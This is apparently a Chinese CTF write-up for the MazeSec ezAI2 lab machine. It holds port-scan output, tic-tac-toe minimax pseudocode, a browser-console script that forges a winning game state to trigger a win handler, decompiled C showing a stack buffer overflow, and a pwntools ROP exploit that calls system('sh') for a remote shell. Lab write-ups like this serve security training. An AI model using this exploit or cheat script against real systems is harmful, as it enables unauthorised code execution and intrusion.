MazeSec-ezAI2 靶机WP

❯ rustscan -a 192.168.1.18 --ulimit 5000 -- -sV
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Open ports, closed hearts.

[~] The config file is expected to be at "/home/yolo/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 192.168.1.18:22
Open 192.168.1.18:8080
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sV" on ip 192.168.1.18
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-26 18:03 CST
NSE: Loaded 47 scripts for scanning.
Initiating Ping Scan at 18:03
Scanning 192.168.1.18 [2 ports]
Completed Ping Scan at 18:03, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:03
Completed Parallel DNS resolution of 1 host. at 18:03, 0.16s elapsed
DNS resolution of 1 IPs took 0.16s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 18:03
Scanning 192.168.1.18 [2 ports]
Discovered open port 8080/tcp on 192.168.1.18
Discovered open port 22/tcp on 192.168.1.18
Completed Connect Scan at 18:03, 0.00s elapsed (2 total ports)
Initiating Service scan at 18:03
Scanning 2 services on 192.168.1.18
Completed Service scan at 18:03, 6.06s elapsed (2 services on 1 host)
NSE: Script scanning 192.168.1.18.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 18:03
Completed NSE at 18:03, 0.01s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 18:03
Completed NSE at 18:03, 0.00s elapsed
Nmap scan report for 192.168.1.18
Host is up, received conn-refused (0.00061s latency).
Scanned at 2026-02-26 18:03:14 CST for 6s

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
8080/tcp open  http    syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.37 seconds

function minimax(board, depth, isMaximizing):
    # 1. 检查胜负状态
    winner = checkWinner(board)
    
    # 胜负/平局判定（评分规则）
    # AI赢（玩家2）: +10 - 步数（鼓励快速获胜）
    # 人类赢（玩家1）: 步数 - 10（惩罚失败）
    # 平局: 0
    if winner == AI:
        return 10 - depth
    if winner == HUMAN:
        return depth - 10
    if board_is_full():
        return 0

    # 2. 递归搜索所有可能的落子
    if isMaximizing:  # AI回合（最大化得分）
        bestScore = -10000  # 初始低分，确保首个合法落子能更新
        for each cell in board:
            if cell is empty:
                cell = AI              # 模拟落子
                score = minimax(board, depth + 1, False)
                cell = empty           # 撤销落子
                bestScore = max(score, bestScore)  # 选最高分
        return bestScore

    else:  # 玩家回合（最小化AI得分）
        bestScore = 10000  # 初始高分，确保首个合法落子能更新
        for each cell in board:
            if cell is empty:
                cell = HUMAN           # 模拟玩家落子
                score = minimax(board, depth + 1, True)
                cell = empty           # 撤销落子
                bestScore = min(score, bestScore)  # 选最低分
        return bestScore

(async () => {
    await new Promise(r => setTimeout(r, 1000));
    const wasmInstance = go._inst;
    if (!wasmInstance) {
        console.error("[!] Wasm instance not found. Make sure the game is loaded.");
        return;
    }

    const mem = new Uint8Array(wasmInstance.exports.mem.buffer);
    console.log("[*] Memory size:", mem.length);
    
    board = [0, 0, 0, 0, 0, 0, 0, 0, 0];
    moves = [];
    gameOver = false;
    isPlayerTurn = true;
    const winningMoves = [
        { pos: 0, player: 1 },
        { pos: 1, player: 2 }, 
        { pos: 4, player: 1 },
        { pos: 3, player: 2 },
        { pos: 6, player: 1 },
        { pos: 5, player: 2 },
        { pos: 2, player: 1 }
    ];
    for (let i = 0; i < winningMoves.length; i++) {
        const move = winningMoves[i];
        board[move.pos] = move.player;
        moves.push(move.pos);
        updateProof(move.pos, i);
        
        console.log(`[*] Move ${i + 1}: Player ${move.player} at position ${move.pos}`);
    }
    updateUI();
    
    console.log("[*] Final board state:", board);
    console.log("[*] Moves sequence:", moves);

    if (checkWin(1)) {
        console.log("[+] Win condition detected!");
        console.log("[*] Triggering win handler...");
        
        await handleWin();
    } else {
        console.error("[!] Win condition not met. Something went wrong.");
    }
})();

ssize_t __fastcall vuln(int a1)
{
  int v1; // eax
  _QWORD v3[6]; // [rsp+10h] [rbp-70h]
  _BYTE buf[64]; // [rsp+40h] [rbp-40h] BYREF

  dup2(a1, 0);
  dup2(a1, 1);
  dup2(a1, 2);
  v3[0] = &unk_402008;
  v3[1] = &unk_402040;
  v3[2] = &unk_4020A0;
  v3[3] = &unk_402100;
  v3[4] = &unk_402140;
  puts(">>> Initializing romantic link...");
  v1 = rand();
  printf(">>> %s", (const char *)v3[v1 % 5]);
  printf(">>> Enter Access Code: ");
  fflush(stdout);
  return read(0, buf, 256u); // 缓冲区溢出核心点
}

from pwn import *

HOST = "127.0.0.1"
PORT = 8888

context.arch    = "amd64"
context.os      = "linux"
context.log_level = "info"

# 关键地址
POP_RDI_RET = 0x401246
SYSTEM_PLT  = 0x401050
HINTS_ADDR  = 0x4040e0
RET_GADGET  = 0x401016

# 溢出偏移
OFFSET = 72

def build_payload() -> bytes:
    padding  = b"A" * OFFSET
    rop_chain = flat(
        RET_GADGET,       # 栈对齐
        POP_RDI_RET,      # 弹出参数到RDI
        HINTS_ADDR,       # "sh"字符串地址
        SYSTEM_PLT        # 调用system
    )
    return padding + rop_chain

def pwn():
    payload = build_payload()

    log.info(f"Connecting to {HOST}:{PORT} ...")
    io = remote(HOST, PORT)
    io.recvuntil(b"Enter Access Code: ")
    log.info(f"Sending payload ({len(payload)} bytes) ...")
    io.send(payload)

    log.success("Successfully!!!")
    io.interactive()

if __name__ == "__main__":
    pwn()